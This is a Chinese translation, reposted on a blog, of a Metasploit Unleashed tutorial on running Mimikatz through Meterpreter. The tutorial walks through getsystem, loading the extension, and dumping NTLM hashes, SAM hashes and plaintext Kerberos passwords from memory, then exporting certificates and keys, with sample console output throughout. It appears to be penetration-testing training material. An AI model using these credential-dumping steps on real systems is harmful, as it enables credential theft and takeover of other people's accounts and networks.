渗透测试工具Mimikatz ON Metasploit

0x00 背景

看了各种文章讲神器mimikatz,但是一直没有讲与metasploit使用的。Metasploit其实早就集成了mimikatz,现在将官方的文章翻译给大家。

[[115338]]

Mimikatz是Benjamin Delpy (gentilkiwi)写的非常棒的一款后渗透测试工具。在最初渗透阶段之后的大多数时间里,攻击者们可能是想在计算机/网络中得到一个更坚固的立足点。这样做通常需要一组补充的工具。Mimikatz是一种将攻击者想执行的、最有用的任务捆绑在一起的尝试。

幸运地,metasploit已经决定将其作为一个meterpreter脚本来集成mimikatz,允许方便地访问它一系列的特性,而不需要上传任何文件到被盗用主机的磁盘上。

Note:在metasploit中mimikatz的版本是v1.0,然而Benjamin Delpy早已经在他的网站上作为一个独立的包发布了v2.0。这是有必要提出的,因为很多的语法与升级到v2.0已经改变了。

0x01 Loading Mimikatz

在得到一个meterpreter shell后,我们应该确保我们的session是运行在system权限以便让mimikatz正常工作。

  1. meterpreter > getuid  
  2. Server username: WINXP-E95CE571A1\Administrator  
  3. meterpreter > getsystem  
  4. ...got system (via technique 1).  
  5. meterpreter > getuid  
  6. Server username: NT AUTHORITY\SYSTEM  
  7.  

Mimikatz支持32位和64位的windows架构。在升级权限到system后,我们需要通过“sysinfo”命令来确认目标机器的架构。这对于64位机器是有必要的,因为我们可能会破坏一个32位的进程在64位的架构上。如果这样的话,meterpreter将会尝试加载32位版本的mimikatz到内存,将可能会使得大部分的特性不可用。这可以通过查看正在运行的进程列表以及在加载mimikatz之前迁移到64位进程来避免。

  1. meterpreter > sysinfo  
  2. Computer : WINXP-E95CE571A1  
  3. OS : Windows XP (Build 2600, Service Pack 3).  
  4. Architecture : x86  
  5. System Language : en_US  
  6. Meterpreter : x86/win32  
  7. 既然这是一个32位机器,我们可以加载mimikatz模块进内存:  
  8. meterpreter > load mimikatz  
  9. Loading extension mimikatz...success.  
  10. meterpreter > help mimikatz  
  11. # Mimikatz Commands  
  12. Command Description  
  13. ------- -----------  
  14. kerberos Attempt to retrieve kerberos creds  
  15. livessp Attempt to retrieve livessp creds  
  16. mimikatz_command Run a custom commannd  
  17. msv Attempt to retrieve msv creds (hashes)  
  18. ssp Attempt to retrieve ssp creds  
  19. tspkg Attempt to retrieve tspkg creds  
  20. wdigest Attempt to retrieve wdigest creds 

Metasploit提供给我们一些内建的命令来查看mimikatz的最常用的功能:从内存中导出hash以及明文证书。Mimikatz_command选项可以让我们使用mimikatz的全部特性。

  1. meterpreter > mimikatz_command -f version  
  2. mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02) 

尽管有些不同寻常,我们仍然可以通过尝试加载一个不存在的特性来得到可用模块的完整列表:

  1. meterpreter > mimikatz_command -f fu::  
  2. Module : 'fu' introuvable  
  3. Modules disponibles :  
  4. - Standard  
  5. crypto - Cryptographie et certificats  
  6. hash - Hash  
  7. system - Gestion système  
  8. process - Manipulation des processus  
  9. thread - Manipulation des threads  
  10. service - Manipulation des services  
  11. privilege - Manipulation des privilèges  
  12. handle - Manipulation des handles  
  13. impersonate - Manipulation tokens d'accès  
  14. winmine - Manipulation du démineur  
  15. minesweeper - Manipulation du démineur 7  
  16. nogpo - Anti-gpo et patchs divers  
  17. samdump - Dump de SAM  
  18. inject - Injecteur de librairies  
  19. ts - Terminal Server  
  20. divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  21. sekurlsa - Dump des sessions courantes par providers LSASS  
  22. efs - Manipulations EFS 

我们可以使用如下的语法来请求某个模块可用的选项:

  1. meterpreter > mimikatz_command -f divers::  
  2. Module : 'divers' identifié, mais commande '' introuvable  
  3. Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  4. noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage  
  5. eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer  
  6. cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session  
  7. secrets - Affiche les secrets utilisateur 

0x02 从内存中读取hash和密码

我们既可以使用metasploit内建的命令也可以使用mimikatz自带的命令来从目标机器上导出hash和明文证书。

Built-In Metasploit: msv credentials

  1. meterpreter > msv  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving msv credentials  
  4. msv credentials 
  5. ===============  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }  
  10. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }  
  11. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)  
  12. 0;56683  NTLM                                          n.s. (Credentials KO)  
  13. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO) 

kerberos credentials

  1. meterpreter > kerberos  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving kerberos credentials  
  4. kerberos credentials 
  5. ====================  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$    
  10. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE       
  11. 0;56683  NTLM                                            
  12. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE     
  13. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword 

Native Mimikatz:

  1. meterpreter > mimikatz_command -f samdump::hashes  
  2. Ordinateur : winxp-e95ce571a1  
  3. BootKey    : 553d8c1349162121e2a5d3d0f571db7f  
  4.    
  5. Rid  : 500  
  6. User : Administrator  
  7. LM   :   
  8. NTLM : d6eec67681a3be111b5605849505628f  
  9.    
  10. Rid  : 501  
  11. User : Guest  
  12. LM   :   
  13. NTLM :   
  14.    
  15. Rid  : 1000  
  16. User : HelpAssistant  
  17. LM   : 6165cd1a0ebc61e470475c82cd451e14  
  18. NTLM :   
  19.    
  20. Rid  : 1002  
  21. User : SUPPORT_388945a0  
  22. LM   :   
  23. NTLM : 771ee1fce7225b28f8aec4a88aea9b6a  
  24.    
  25. meterpreter > mimikatz_command -f sekurlsa::searchPasswords  
  26. [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword } 

<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>

0x03 其他的模块

Mimikatz的一些其他模块包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客 http://blog.gentilkiwi.com/上找到。下面是几个使用实例:

Handle模块可以用来list/kill进程以及模拟用户令牌:

  1. meterpreter > mimikatz_command -f handle::  
  2. Module : 'handle' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des handles  
  5.         list    - Affiche les handles du système (pour le moment juste les processus et tokens)  
  6.  processStop    - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles  
  7. tokenImpersonate        - Essaye d'impersonaliser un token en utilisant d'autres handles  
  8.      nullAcl    - Positionne une ACL null sur des Handles  
  9.    
  10. meterpreter > mimikatz_command -f handle::list  
  11. ...snip...  
  12.   760  lsass.exe                 ->  1004       Token           NT AUTHORITY\NETWORK SERVICE  
  13.   760  lsass.exe                 ->  1008       Process 704     winlogon.exe  
  14.   760  lsass.exe                 ->  1052       Process 980     svchost.exe  
  15.   760  lsass.exe                 ->  1072       Process 2664    fubar.exe  
  16.   760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE  
  17.   760  lsass.exe                 ->  1096       Process 704     winlogon.exe  
  18.   760  lsass.exe                 ->  1264       Process 1124    svchost.exe  
  19.   760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON  
  20.   760  lsass.exe                 ->  1276       Process 1804    psia.exe  
  21.   760  lsass.exe                 ->  1352       Process 480     jusched.exe  
  22.   760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe  
  23.   760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator  
  24. ...snip... 

Service模块让你可以list/start/stop以及remove windows服务:

  1. meterpreter > mimikatz_command -f service::  
  2. Module : 'service' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des services  
  5.         list    - Liste les services et pilotes  
  6.        start    - Démarre un service ou pilote  
  7.         stop    - Arrête un service ou pilote  
  8.       remove    - Supprime un service ou pilote  
  9.     mimikatz    - Installe et/ou démarre le pilote mimikatz  
  10.    
  11. meterpreter > mimikatz_command -f service::list  
  12. ...snip...  
  13.         WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry  
  14.         KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)  
  15.         WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC) Locator  
  16.   980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)  
  17.         WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP  
  18.   760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager  
  19.         WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card  
  20.  1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler  
  21.         KERNEL_DRIVER   STOPPED Secdrv  Secdrv  
  22.  1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon  
  23.  1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent  
  24.  3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent  
  25. ...snip... 

Crypto模块允许你list、export任何证书,以及储存在目标机器上相应的私钥:

  1. meterpreter > mimikatz_command -f crypto::  
  2. Module : 'crypto' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Cryptographie et certificats  
  5. listProviders   - Liste les providers installés)  
  6.   listStores    - Liste les magasins système  
  7. listCertificates        - Liste les certificats  
  8.     listKeys    - Liste les conteneurs de clés  
  9. exportCertificates      - Exporte les certificats  
  10.   exportKeys    - Exporte les clés  
  11.     patchcng    - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable  
  12.    patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable  
  13.    
  14. meterpreter > mimikatz_command -f crypto::listProviders  
  15. Providers CryptoAPI :  
  16.         Gemplus GemSAFE Card CSP v1.0  
  17.         Infineon SICRYPT Base Smart Card CSP  
  18.         Microsoft Base Cryptographic Provider v1.0  
  19.         Microsoft Base DSS and Diffie-Hellman Cryptographic Provider  
  20.         Microsoft Base DSS Cryptographic Provider  
  21.         Microsoft Base Smart Card Crypto Provider  
  22.         Microsoft DH SChannel Cryptographic Provider  
  23.         Microsoft Enhanced Cryptographic Provider v1.0  
  24.         Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider  
  25.         Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)  
  26.         Microsoft RSA SChannel Cryptographic Provider  

Mimikatz也包含许多新奇的特性。最重要的一个就是能够在经典的windows扫描游戏中,直接从内存中读地雷的位置。

 

 

  1. meterpreter > mimikatz_command -f winmine::infos  
  2. Mines           : 99  
  3. Dimension       : 16 lignes x 30 colonnes  
  4. Champ           :   
  5.    
  6.          . . . . . . * . * 1   1 * 1           1 * . . . . . . * . *  
  7.          . . * . . . . . . 1   1 1 1       1 1 2 . * . * * . * * . .  
  8.          . * . . . . . * . 1         1 1 1 1 * . . . * . . * . . . .  
  9.          . . . . . * . * * 2 1     1 2 * . . . * * . . * . . . . * .  
  10.          . . * . . * . . . * 1     1 * . * . . . . . . . * . * . . .  
  11.          . * * . . . . . . . 2 1 1 1 . * . . . . * . . * . . . . . .  
  12.          . . . . . . . . . . . * . . . . . * . . . . . * * . . . . .  
  13.          . . . * . * . . . . . * . * . . . . * . . . . * . . . . . .  
  14.          . . . . . * * . * . * . * . * * . * * * . . . . . . . . * .  
  15.          * * . * . . . 3 1 2 1 2 1 . . * . . * . . * . . * . . . . .  
  16.          . . . . * * * 1         1 . . * * . . . * . . . . . . * . *  
  17.          . . * * * . 3 1     1 1 2 * 2 2 2 . * . . . . . . * . . . .  
  18.          . . . . . * 1   1 1 2 * . 1 1   1 . . . . * . * * * . . . .  
  19.          . . . . . . 1   1 * . . . 1     1 * . . . * . . . . . * . .  
  20.          . . . . . . 1 1 2 . . . * 1     1 1 1 1 * * . * . . . . * .  
  21.          . * . . . . . * . . . * . 1           1 . * . . . . . . . *  

from:http://www.offensive-security.com/metasploit-unleashed/Mimikatz

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/144238.html<

(0)
运维的头像运维
上一篇2025-03-10 01:57
下一篇 2025-03-10 01:58

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注